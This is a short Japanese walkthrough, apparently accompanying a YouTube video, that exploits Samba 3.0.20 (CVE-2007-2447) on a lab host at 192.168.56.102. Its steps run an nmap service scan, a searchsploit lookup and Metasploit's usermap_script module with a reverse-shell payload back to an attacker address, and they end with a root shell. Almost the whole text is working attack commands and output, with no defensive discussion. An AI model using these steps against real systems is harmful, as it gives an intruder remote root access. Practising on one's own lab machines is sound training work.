🎬 このYouTube動画

1️⃣ ターゲットのスキャン (Nmap)

nmap -sS -sV -p 139,445 192.168.56.102

期待される結果: 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian

👉 Samba バージョン: 3.0.20 これは CVE-2007-2447 に対して脆弱です。

2️⃣ Sambaエクスプロイトの特定

searchsploit samba 3.0.20

結果:

Samba 3.0.20 - 'Username' map script Command Execution

3️⃣ Metasploit の起動

msfconsole

4️⃣ Sambaエクスプロイトの選択

use exploit/multi/samba/usermap_script

5️⃣ エクスプロイトの設定

set RHOSTS 192.168.56.102
set RPORT 139
set LHOST 192.168.56.101

ペイロードは自動的に設定されます:

cmd/unix/reverse

確認:

show options

6️⃣ エクスプロイトの実行

run

または

exploit

7️⃣ 結果 🎉

成功した場合:

Command shell session opened

確認します:

whoami

👉 結果:

root